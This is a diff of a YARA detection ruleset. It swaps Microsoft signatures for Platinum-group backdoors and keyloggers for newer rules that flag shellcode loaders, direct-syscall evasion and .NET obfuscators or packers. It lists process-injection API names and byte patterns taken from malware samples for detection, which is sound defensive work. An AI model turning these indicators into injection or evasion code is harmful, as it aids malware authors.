+		quality = 80
 		tags = ""
 
 	strings:
-		$mz = {4D 5A}
-		$ssl_hello = {16 03 01 00 6B 01 00 00 67 03 01 54 B4 C9 7B 4F CF BC 5A 01 EC 4A 73 C8 6D BB C0 86 9F 7B A9 08 6A 60 37 05 81 97 1A C8 9F 45 E5 00 00 18 00 2F 00 35 00 05 00 0A C0 13 C0 14 C0 09 C0 0A 00 32 00 38 00 13 00 04 01 00 00 26 00 00 00 12 00 10 00 00 0D 77 77 77 2E 61 70 70 6C 65 2E 63 6F 6D 00 0A 00 06 00 04 00 17 00 18 00 0B 00 02 01 00}
+		$ = "__pyarmor__" ascii
+		$ = "pyarmor_runtime" ascii
+		$ = "pyarmor(__" ascii
+		$ = { 50 79 61 72 6D 6F 72 20 [5] 20 28 70 72 6F 29 }
+		$ = { 5F 5F 61 72 6D 6F 72 5F ( 65 78 69 74 | 77 72 61 70 | 65 6E 74 65 72 ) 5F 5F }
 
 	condition:
-		($mz at 0) and ($ssl_hello)
+		2 of them
 }
-/*
- * YARA Rule Set
- * Repository Name: Microsoft
- * Repository: https://github.com/mikesxrs/Open-Source-YARA-rules
- * Retrieval Date: 2024-08-04
- * Git Commit: ec0056f767db98bf6d5fd63877ad51fb54d350e9
- * Number of Rules: 21
- * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance)
- *
- *
- * LICENSE
- *
- * NO LICENSE SET
- */
-rule MICROSOFT_Trojan_Win32_Plasrv : PLATINUM
+rule COD3NYM_SUSP_Direct_Syscall_Shellcode_Invocation_Jan24 : FILE
 {
 	meta:
-		description = "Hotpatching Injector"
-		author = "Microsoft"
-		id = "2a099b68-fb13-5926-8a86-4d788326609c"
-		date = "2016-04-12"
-		modified = "2016-12-21"
-		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L1-L19"
-		license_url = "N/A"
-		hash = "ff7f949da665ba8ce9fb01da357b51415634eaad"
-		logic_hash = "5978502454d66a930a535ffe61d78f2106c3c17c8df9be1b22bc10ef900c891f"
-		score = 75
+		description = "Detects direct syscall evasion technqiue using NtProtectVirtualMemory to invoke shellcode"
+		author = "Jonathan Peters"
+		id = "2a0ce887-299d-5aad-bed3-3e698b4dea79"
+		date = "2024-01-14"
+		modified = "2024-01-14"
+		reference = "https://unprotect.it/technique/evasion-using-direct-syscalls/"
+		source_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/yara/other/susp_direct_syscall_shellcode_invocation.yar#L1-L14"
+		license_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/LICENSE.md"
+		hash = "f7cd214e7460c539d6f8d02b6650098e3983862ff658b76ea02c33f5a45fc836"
+		logic_hash = "b5b0ad86289a4e2af7cdc909192f4dc9325c1763259f40adcc1e60c088c9e4f3"
+		score = 65
 		quality = 80
-		tags = "PLATINUM"
-		unpacked_sample_sha1 = "dff2fee984ba9f5a8f5d97582c83fca4fa1fe131"
-		activity_group = "Platinum"
-		version = "1.0"
+		tags = "FILE"
 
 	strings:
-		$Section_name = ".hotp1"
-		$offset_x59 = { C7 80 64 01 00 00 00 00 01 00 }
+		$ = { B8 40 00 00 00 67 4C 8D 08 49 89 CA 48 C7 C0 50 00 00 00 0F 05 [4-8] 4C 8D 3D 02 00 00 00 FF E0 }
 
 	condition:
-		$Section_name and $offset_x59
+		all of them and filesize <2MB
 }
-rule MICROSOFT_Trojan_Win32_Platual : PLATINUM
+rule COD3NYM_SUSP_NET_Shellcode_Loader_Indicators_Jan24 : FILE
 {
 	meta:
-		description = "Installer component"
-		author = "Microsoft"
-		id = "ac963388-cc73-5842-96be-77349398efcc"
-		date = "2016-04-12"
-		modified = "2016-12-21"
-		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L21-L38"
-		license_url = "N/A"
-		hash = "e0ac2ae221328313a7eee33e9be0924c46e2beb9"
-		logic_hash = "3692b5c1d873fb799b64ea69f3762177198dbb0fb971bc29bb80048c0de735d4"
-		score = 75
+		description = "Detects indicators of shellcode loaders in .NET binaries"
+		author = "Jonathan Peters"
+		id = "606a444a-b894-5076-8d5e-1716bbfa588e"
+		date = "2024-01-11"
+		modified = "2024-01-12"
+		reference = "https://github.com/Workingdaturah/Payload-Generator/tree/main"
+		source_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/yara/dotnet/suspicious_indicators.yar#L1-L22"
+		license_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/LICENSE.md"
+		hash = "c48752a5b07b58596564f13301276dd5b700bd648a04af2e27d3f78512a06408"
+		logic_hash = "28267eb54a4108924df57512bbae9f47f51fd4860b3cf93c014d73b0d4b2dec2"
+		score = 65
 		quality = 80
-		tags = "PLATINUM"
-		unpacked_sample_sha1 = "ccaf36c2d02c3c5ca24eeeb7b1eae7742a23a86a"
-		activity_group = "Platinum"
-		version = "1.0"
+		tags = "FILE"
 
 	strings:
-		$class_name = "AVCObfuscation"
-		$scrambled_dir = { A8 8B B8 E3 B1 D7 FE 85 51 32 3E C0 F1 B7 73 99 }
+		$sa1 = "VirtualProtect" ascii
+		$sa2 = "VirtualAlloc" ascii
+		$sa3 = "WriteProcessMemory" ascii
+		$sa4 = "CreateRemoteThread" ascii
+		$sa5 = "CreateThread" ascii
+		$sa6 = "WaitForSingleObject" ascii
+		$x = "__StaticArrayInitTypeSize=" ascii
 
 	condition:
-		$class_name and $scrambled_dir
+		uint16(0)==0x5a4d and 3 of ($sa*) and #x==1
 }
-rule MICROSOFT_Trojan_Win32_Plaplex : PLATINUM
+rule COD3NYM_SUSP_OBF_NET_Eazfuscator_String_Encryption_Jan24 : FILE
 {
 	meta:
-		description = "Variant of the JPin backdoor"
-		author = "Microsoft"
-		id = "2d670c09-dc0a-556e-8d00-5f94e5907d99"
-		date = "2016-04-12"
-		modified = "2016-12-21"
-		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L40-L57"
-		license_url = "N/A"
-		hash = "ca3bda30a3cdc15afb78e54fa1bbb9300d268d66"
-		logic_hash = "ff7b9a52befae5f22f7c6093af44bef4a4cf271548c1caf22f30d3c8aec42de4"
-		score = 75
+		description = "Detects .NET images obfuscated with Eazfuscator string encryption. Eazfuscator is a widely used commercial obfuscation solution used by both legitimate software and malware."
+		author = "Jonathan Peters"
+		id = "09a400f5-e837-58c2-9b51-9213c8ab0883"
+		date = "2024-01-01"
+		modified = "2024-01-03"
+		reference = "https://www.gapotchenko.com/eazfuscator.net"
+		source_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/yara/dotnet/obf_eazfuscator.yar#L1-L28"
+		license_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/LICENSE.md"
+		hash = "3a9ee09ed965e3aee677043ba42c7fdbece0150ef9d1382c518b4b96bbd0e442"
+		logic_hash = "5f3f3358e3cfb274aa2e8465dde58a080f9fb282aa519885b9d39429521db6d9"
+		score = 50
 		quality = 80
-		tags = "PLATINUM"
-		unpacked_sample_sha1 = "2fe3c80e98bbb0cf5a0c4da286cd48ec78130a24"
-		activity_group = "Platinum"
-		version = "1.0"
+		tags = "FILE"
 
 	strings:
-		$class_name1 = "AVCObfuscation"
-		$class_name2 = "AVCSetiriControl"
+		$sa1 = "StackFrame" ascii
+		$sa2 = "StackTrace" ascii
+		$sa3 = "Enter" ascii
+		$sa4 = "Exit" ascii
+		$op1 = { 11 ?? 18 91 11 ?? 1? 91 1F 10 62 60 11 ?? 1? 91 1E 62 60 11 ?? 17 91 1F 18 62 60 }
+		$op2 = { D1 28 ?? 00 00 0A 0? 1F 10 63 D1 }
+		$op3 = { 1F 10 63 D1 28 [3] 0A }
+		$op4 = { 7B ?? 00 00 04 16 91 02 7B ?? 00 00 04 17 91 1E 62 60 02 7B ?? 00 00 04 18 91 1F 10 62 60 02 7B ?? 00 00 04 19 91 1F 18 62 60 }
 
 	condition:
-		$class_name1 and $class_name2
+		uint16(0)==0x5a4d and all of ($sa*) and (2 of ($op*) or #op1==2)
 }
-rule MICROSOFT_Trojan_Win32_Dipsind_B : PLATINUM
+rule COD3NYM_SUSP_OBF_NET_Eazfuscator_Virtualization_Jan24 : FILE
 {
 	meta:
-		description = "Dipsind Family"
-		author = "Microsoft"
-		id = "513c18a6-af25-58ad-9232-9a089f4ced3d"
-		date = "2016-04-12"
-		modified = "2016-12-21"
-		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L59-L77"
-		license_url = "N/A"
-		logic_hash = "1f99f298dc4d1483eb95cfb898dd9eee32b2f72a8da562f58a57f44559cbd2c7"
-		score = 75
+		description = "Detects .NET images obfuscated with Eazfuscator virtualization protection. Eazfuscator is a widely used commercial obfuscation solution used by both legitimate software and malware."
+		author = "Jonathan Peters"
+		id = "d39bba65-1220-5b60-b919-1bd88f1bc7f1"
+		date = "2024-01-02"
+		modified = "2024-01-03"
+		reference = "https://www.gapotchenko.com/eazfuscator.net"
+		source_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/yara/dotnet/obf_eazfuscator.yar#L30-L51"
+		license_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/LICENSE.md"
+		hash = "53d5c2574c7f70b7aa69243916acf6e43fe4258fbd015660032784e150b3b4fa"
+		logic_hash = "7a647973eae9163cb5b82c27141956da58f4a9fd2ad51cf82523b93536cfaea3"
+		score = 60
 		quality = 80
-		tags = "PLATINUM"
-		sample_sha1 = "09e0dfbb5543c708c0dd6a89fd22bbb96dc4ca1c"
-		activity_group = "Platinum"
-		version = "1.0"
+		tags = "FILE"
 
 	strings:
-		$frg1 = {8D 90 04 01 00 00 33 C0 F2 AE F7 D1 2B F9 8B C1 8B F7 8B FA C1 E9 02 F3 A5 8B C8 83 E1 03 F3 A4 8B 4D EC 8B 15 ?? ?? ?? ?? 89 91 ?? 07 00 00 }
-		$frg2 = {68 A1 86 01 00 C1 E9 02 F3 AB 8B CA 83 E1 03 F3 AA}
-		$frg3 = {C0 E8 07 D0 E1 0A C1 8A C8 32 D0 C0 E9 07 D0 E0 0A C8 32 CA 80 F1 63}
+		$sa1 = "BinaryReader" ascii
+		$sa2 = "GetManifestResourceStream" ascii
+		$sa3 = "get_HasElementType" ascii
+		$op1 = { 28 [2] 00 06 28 [2] 00 06 72 [2] 00 70 ?? 1? 2D 0? 26 26 26 26 2B }
+		$op2 = { 7E [3] 04 2D 3D D0 [3] 02 28 [3] 0A 6F [3] 0A 72 [3] 70 6F [3] 0A 20 80 00 00 00 8D ?? 00 00 01 25 D0 [3] 04 28 [3] 0A 28 [3] 06 28 [3] 06 80 [3] 04 7E [3] 04 2A }
+		$op3 = { 02 20 [4] 1F 09 73 [4] 7D [3] 04 }
 
 	condition:
-		$frg1 and $frg2 and $frg3
+		uint16(0)==0x5a4d and all of ($sa*) and 2 of ($op*)
 }
-rule MICROSOFT_Trojan_Win32_Plakeylog_B : PLATINUM
+rule COD3NYM_SUSP_OBF_NET_Confuserex_Name_Pattern_Jan24 : FILE
 {
 	meta:
-		description = "Keylogger component"
-		author = "Microsoft"
-		id = "bc84ef20-f428-5f3d-bc88-ab14991a2350"
-		date = "2016-04-12"
-		modified = "2016-12-21"
-		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L79-L97"
-		license_url = "N/A"
-		hash = "0096a3e0c97b85ca75164f48230ae530c94a2b77"
-		logic_hash = "288fb5a724baaa032ca36124cf803698e315aaf61662f999f3b894049ece63f2"
-		score = 75
+		description = "Detects Naming Pattern used by ConfuserEx. ConfuserEx is a widely used open source obfuscator often found in malware"
+		author = "Jonathan Peters"
+		id = "2b57f135-9d9d-5401-be29-a1053f4249ec"
+		date = "2024-01-03"
+		modified = "2024-01-09"
+		reference = "https://github.com/yck1509/ConfuserEx/tree/master"
+		source_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/yara/dotnet/obf_confuserex.yar#L1-L21"
+		license_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/LICENSE.md"
+		hash = "2f67f590cabb9c79257d27b578d8bf9d1a278afa96b205ad2b4704e7b9a87ca7"
+		logic_hash = "f28f3bd61c6f257cc622f6f323a5b5113d7d7b79ce8b852df02c42af22ecf033"
+		score = 50
 		quality = 80
-		tags = "PLATINUM"
-		unpacked_sample_sha1 = "6a1412daaa9bdc553689537df0a004d44f8a45fd"
-		activity_group = "Platinum"
-		version = "1.0"
+		tags = "FILE"
 
 	strings:
-		$hook = {C6 06 FF 46 C6 06 25}
-		$dasm_engine = {80 C9 10 88 0E 8A CA 80 E1 07 43 88 56 03 80 F9 05}
+		$s1 = "mscoree.dll" ascii
+		$s2 = "mscorlib" ascii
+		$s3 = "System.Private.Corlib" ascii
+		$s4 = "#Strings" ascii
+		$s5 = { 5F 43 6F 72 [3] 4D 61 69 6E }
+		$name_pattern = { E2 ( 80 8? | 81 AA ) E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 80 AE}
 
 	condition:
-		$hook and $dasm_engine
+		uint16(0)==0x5a4d and 2 of ($s*) and #name_pattern>5
 }
-rule MICROSOFT_Trojan_Win32_Adupib : PLATINUM
+rule COD3NYM_SUSP_OBF_NET_Confuserex_Packer_Jan24 : FILE
 {
 	meta:
-		description = "Adupib SSL Backdoor"
-		author = "Microsoft"
-		id = "4c5a63e5-7110-57e9-b939-df8999f317d3"
-		date = "2016-04-12"
-		modified = "2016-12-21"
-		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L99-L120"
-		license_url = "N/A"
-		hash = "d3ad0933e1b114b14c2b3a2c59d7f8a95ea0bcbd"
-		logic_hash = "b83f642929a372a21e63055cd4adcab5d24b98b5a98b6fd0b35ee31e9f7f3b90"
-		score = 75
+		description = "Detects binaries packed with ConfuserEx compression packer. This feature compresses and encrypts the actual image into a stub that unpacks and loads the original image on runtime."
+		author = "Jonathan Peters"
+		id = "cd53a62f-62e3-58a1-8bc3-7f40949e3f00"
+		date = "2024-01-09"
+		modified = "2024-01-09"
+		reference = "https://github.com/yck1509/ConfuserEx/tree/master"
+		source_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/yara/dotnet/obf_confuserex.yar#L23-L42"
+		license_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/LICENSE.md"
+		hash = "2570bd4c3f564a61d6b3d589126e0940af27715e1e8d95de7863579fbe25f86f"
+		logic_hash = "43aee4c01b47ca04ee516d418939ec3e90fd08566f2a4b501c4698b7f9e0225d"
+		score = 70
 		quality = 80
-		tags = "PLATINUM"
-		unpacked_sample_sha1 = "a80051d5ae124fd9e5cc03e699dd91c2b373978b"
-		activity_group = "Platinum"
-		version = "1.0"
+		tags = "FILE"
 
 	strings:
-		$str1 = "POLL_RATE"
-		$str2 = "OP_TIME(end hour)"
-		$str3 = "%d:TCP:*:Enabled"
-		$str4 = "%s[PwFF_cfg%d]"
-		$str5 = "Fake_GetDlgItemTextW: ***value***"
+		$s1 = "GCHandle" ascii
+		$s2 = "GCHandleType" ascii
+		$op1 = { 5A 20 89 C0 3F 14 6A 5E [8-20] 5A 20 FB 56 4D 44 6A 5E 6D 9E }
+		$op2 = { 20 61 FF 6F 00 13 ?? 06 13 ?? 16 13 [10-20] 20 1F 3F 5E 00 5A}
+		$op3 = { 16 91 7E [3] 04 17 91 1E 62 60 7E [3] 04 18 91 1F 10 62 60 7E [3] 04 19 91 1F 18 62 }
 
 	condition:
-		$str1 and $str2 and $str3 and $str4 and $str5
+		uint16(0)==0x5a4d and all of ($s*) and 2 of ($op*)
 }
-rule MICROSOFT_Trojan_Win32_Plalsalog : PLATINUM
+import "pe"
+
+rule COD3NYM_DOTNET_Singlefilehost_Bundled_App : FILE
 {
 	meta:
-		description = "Loader / possible incomplete LSA Password Filter"
-		author = "Microsoft"
-		id = "e5c7e07d-79e3-580f-ac24-28920a9b0e70"
-		date = "2016-04-12"
-		modified = "2016-12-21"
-		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L122-L140"
-		license_url = "N/A"
-		hash = "fa087986697e4117c394c9a58cb9f316b2d9f7d8"
-		logic_hash = "58d937be220c0f356396c28367ab63ff4c4a6bf2cbf9e0ce8f8cac25e4fe3fec"
+		description = "Detects single file host .NET bundled apps."
+		author = "Jonathan Peters"
+		id = "061bd294-58d6-57be-b8b5-b8a8f31ce316"
+		date = "2024-01-02"
+		modified = "2024-01-05"
+		reference = "https://learn.microsoft.com/en-us/dotnet/core/deploying/single-file"
+		source_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/yara/dotnet/framework_identiciation.yar#L3-L17"
+		license_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/LICENSE.md"
+		logic_hash = "12075b07a9feb951898ac8eba303471d9253ed9535db927244e5562f4fad33d6"
 		score = 75
 		quality = 80
-		tags = "PLATINUM"
-		unpacked_sample_sha1 = "29cb81dbe491143b2f8b67beaeae6557d8944ab4"
-		activity_group = "Platinum"
-		version = "1.0"
+		tags = "FILE"
 
 	strings:
-		$str1 = {8A 1C 01 32 DA 88 1C 01 8B 74 24 0C 41 3B CE 7C EF 5B 5F C6 04 01 00 5E 81 C4 04 01 00 00 C3}
-		$str2 = "PasswordChangeNotify"
+		$ = "singlefilehost.exe" ascii
+		$ = "singlefilehost.pdb" ascii
 
 	condition:
-		$str1 and $str2
+		uint16(0)==0x5a4d and 1 of them and pe.exports("DotNetRuntimeInfo") and pe.exports("CLRJitAttachState")
 }
-rule MICROSOFT_Trojan_Win32_Plagon : PLATINUM
+import "pe"
+
+rule COD3NYM_SUSP_OBF_NET_Reactor_Native_Stub_Jan24
 {
 	meta:
-		description = "Dipsind variant"
-		author = "Microsoft"
-		id = "ae3b7eb0-d54e-5817-9484-c054cd27c1fd"
-		date = "2016-04-12"
-		modified = "2016-12-21"
-		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L142-L162"
-		license_url = "N/A"
-		hash = "48b89f61d58b57dba6a0ca857bce97bab636af65"
-		logic_hash = "99e0d300f030bb6407de1fda488b47c73f8278e9c015bf779259ddf1b68903a2"
-		score = 75
-		quality = 78
-		tags = "PLATINUM"
-		unpacked_sample_sha1 = "6dccf88d89ad7b8611b1bc2e9fb8baea41bdb65a"
-		activity_group = "Platinum"
-		version = "1.0"
+		description = "Detects native packer stub for version 4.5-4.7 of .NET Reactor. A pirated copy of version 4.5 of this commercial obfuscation solution is used by various malware families like BlackBit, RedLine, AgentTesla etc."
+		author = "Jonathan Peters"
+		id = "529dce88-a81d-5a98-aa6c-1f1b739ad074"
+		date = "2024-01-05"
+		modified = "2024-01-12"
+		reference = "https://notes.netbytesec.com/2023/08/understand-ransomware-ttps-blackbit.html"
+		source_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/yara/dotnet/obf_net_reactor.yar#L3-L16"
+		license_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/LICENSE.md"
+		hash = "6e8a7adf680bede7b8429a18815c232004057607fdfbf0f4b0fb1deba71c5df7"
+		logic_hash = "287273babd3cd6bc1986b018367317019f2249851a2c19fc83857f7ff0b90b54"
+		score = 70
+		quality = 80
+		tags = ""
 
 	strings:
-		$str1 = "VPLRXZHTU"
-		$str2 = {64 6F 67 32 6A 7E 6C}
-		$str3 = "Dqpqftk(Wou\"Isztk)"
-		$str4 = "StartThreadAtWinLogon"
+		$op = {C6 44 24 18 E0 C6 44 24 19 3B C6 44 24 1A 8D C6 44 24 1B 2A C6 44 24 1C A2 C6 44 24 1D 2A C6 44 24 1E 2A C6 44 24 1F 41 C6 44 24 20 D3 C6 44 24 21 20 C6 44 24 22 64 C6 44 24 23 06 C6 44 24 24 8A C6 44 24 25 F7 C6 44 24 26 3D C6 44 24 27 9D C6 44 24 28 D9 C6 44 24 29 EE C6 44 24 2A 15 C6 44 24 2B 68 C6 44 24 2C F4 C6 44 24 2D 76 C6 44 24 2E B9 C6 44 24 2F 34 C6 44 24 30 BF C6 44 24 31 1E C6 44 24 32 E7 C6 44 24 33 78 C6 44 24 34 98 C6 44 24 35 E9 C6 44 24 36 6F C6 44 24 37 B4}
 
 	condition:
-		$str1 and $str2 and $str3 and $str4
+		for any i in (0..pe.number_of_resources-1) : (pe.resources[i].name_string=="_\x00_\x00") and $op
 }
-rule MICROSOFT_Trojan_Win32_Plakelog : PLATINUM
+import "pe"
+
+rule COD3NYM_SUSP_OBF_NET_Reactor_Indicators_Jan24 : FILE
 {
 	meta:
-		description = "Raw-input based keylogger"
-		author = "Microsoft"
-		id = "26f552e6-9abf-59ca-a8df-19473d6d775a"
-		date = "2016-04-12"
-		modified = "2016-12-21"
-		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L164-L184"
-		license_url = "N/A"
-		hash = "3907a9e41df805f912f821a47031164b6636bd04"
-		logic_hash = "e18cae8bb2a79f7d39a80669896b1f7a7c1726f14192abcc91388fd53781ffef"
-		score = 75
+		description = "Detects indicators of .NET Reactors managed obfuscation. Reactor is a commercial obfuscation solution, pirated versions are often abused by threat actors."
+		author = "Jonathan Peters"
+		id = "8dc07bbd-cbeb-5214-a27a-555a0d396197"
+		date = "2024-01-09"
+		modified = "2024-01-12"
+		reference = "https://www.eziriz.com/dotnet_reactor.htm"
+		source_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/yara/dotnet/obf_net_reactor.yar#L18-L34"
+		license_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/LICENSE.md"
+		hash = "be842a9de19cfbf42ea5a94e3143d58390a1abd1e72ebfec5deeb8107dddf038"
+		logic_hash = "40a03eb487e2c02a032c4bfb51580dbb764e0a49ceee5ae92c54a5ee3ede9696"
+		score = 65
 		quality = 80
-		tags = "PLATINUM"
-		unpacked_sample_sha1 = "960feeb15a0939ec0b53dcb6815adbf7ac1e7bb2"
-		activity_group = "Platinum"
-		version = "1.0"
+		tags = "FILE"
 
 	strings:
-		$str1 = "<0x02>" wide
-		$str2 = "[CTR-BRK]" wide
-		$str3 = "[/WIN]" wide
-		$str4 = {8A 16 8A 18 32 DA 46 88 18 8B 15 08 E6 42 00 40 41 3B CA 72 EB 5E 5B}
+		$ = { 33 7B 00 [9] 00 2D 00 [9] 00 2D 00 [9] 00 2D 00 [9] 00 7D 00 }
+		$ = { 3C 50 72 69 76 61 74 65 49 6D 70 6C 65 6D 65 6E 74 61 74 69 6F 6E 44 65 74 61 69 6C 73 3E 7B [8] 2D [4] 2D [4] 2D [4] 2D [12] 7D }
+		$ = { 3C 4D 6F 64 75 6C 65 3E 7B [8] 2D [4] 2D [4] 2D [4] 2D [12] 7D }
 
 	condition:
-		$str1 and $str2 and $str3 and $str4
+		uint16(0)==0x5a4d and 2 of them
 }
-rule MICROSOFT_Trojan_Win32_Plainst : PLATINUM
+rule COD3NYM_MAL_NET_Niximports_Loader_Jan24 : FILE
 {
 	meta:
-		description = "Installer component"
-		author = "Microsoft"
-		id = "41a4770a-b4d8-5ddc-8b4f-a4e87a1f3923"
-		date = "2016-04-12"
-		modified = "2016-12-21"
-		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L186-L204"
-		license_url = "N/A"
-		hash = "99c08d31af211a0e17f92dd312ec7ca2b9469ecb"
-		logic_hash = "5fa8e52c044e05d96c2c09b69ef884ed0ea863ceb3ba00cdf243a4907050de69"
-		score = 75
+		description = "Detects open-source NixImports .NET malware loader. A stealthy loader using dynamic import resolving to evade static detection"
+		author = "Jonathan Peters"
+		id = "f36ad127-4c4b-5b7e-a13c-bfb9d222a438"
+		date = "2024-01-12"
+		modified = "2024-01-12"
+		reference = "https://github.com/dr4k0nia/NixImports/tree/master"
+		source_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/yara/dotnet/mal/mal_net_niximports_loader.yar#L1-L22"
+		license_url = "https://github.com/cod3nym/detection-rules//blob/ad485bff0ce30afb56e367b7f2b76fea81e78fc9/LICENSE.md"
+		hash = "dd3f22871879b0bc4990c96d1de957848c7ed0714635bb036c73d8a989fb0b39"
+		logic_hash = "e41d7f4cb46aa0baa87d3024e0550efe5058ca49d908bbd34197431c7c054e58"
+		score = 80
 		quality = 80
-		tags = "PLATINUM"
-		unpacked_sample_sha1 = "dcb6cf7cf7c8fdfc89656a042f81136bda354ba6"
-		activity_group = "Platinum"
-		version = "1.0"
+		tags = "FILE"
 
 	strings:
-		$str1 = {66 8B 14 4D 18 50 01 10 8B 45 08 66 33 14 70 46 66 89 54 77 FE 66 83 7C 77 FE 00 75 B7 8B 4D FC 89 41 08 8D 04 36 89 41 0C 89 79 04}
-		$str2 = {4b D391 49 A1 80 91 42 83 B6 33 28 36 6B 90 97}
+		$op1 = { 1F 0A 64 06 1F 11 62 60 }
+		$op2 = { 03 20 4D 5A 90 00 94 4B 2A }
+		$op3 = { 20 DE 7A 1F F3 20 F7 1B 18 BC }
+		$op4 = { 20 CE 1F BE 70 20 DF 1F 3E F8 14 }
+		$sa1 = "OffsetToStringData" ascii
+		$sa2 = "GetRuntimeMethods" ascii
+		$sa3 = "netstandard" ascii
 
 	condition:
-		$str1 and $str2
+		uint16(0)==0x5a4d and all of ($sa*) and 2 of ($op*)
 }
-rule MICROSOFT_Trojan_Win32_Plagicom : PLATINUM
+rule COD3NYM_MAL_NET_Limecrypter_Runpe_Jan24 : FILE
 {
 	meta:
-		description = "Installer component"
-		author = "Microsoft"
-		id = "86ef6fbf-cd39-533f-893c-72f22d73c99a"
-		date = "2016-04-12"
-		modified = "2016-12-21"
-		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
-		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L206-L225"
-		license_url = "N/A"
-		hash = "99dcb148b053f4cef6df5fa1ec5d33971a58bd1e"
-		logic_hash = "d2645ecc3b4400af7d9949eeca01b1ed5d74516010658c66934772e04040d9cf"
-		score = 75
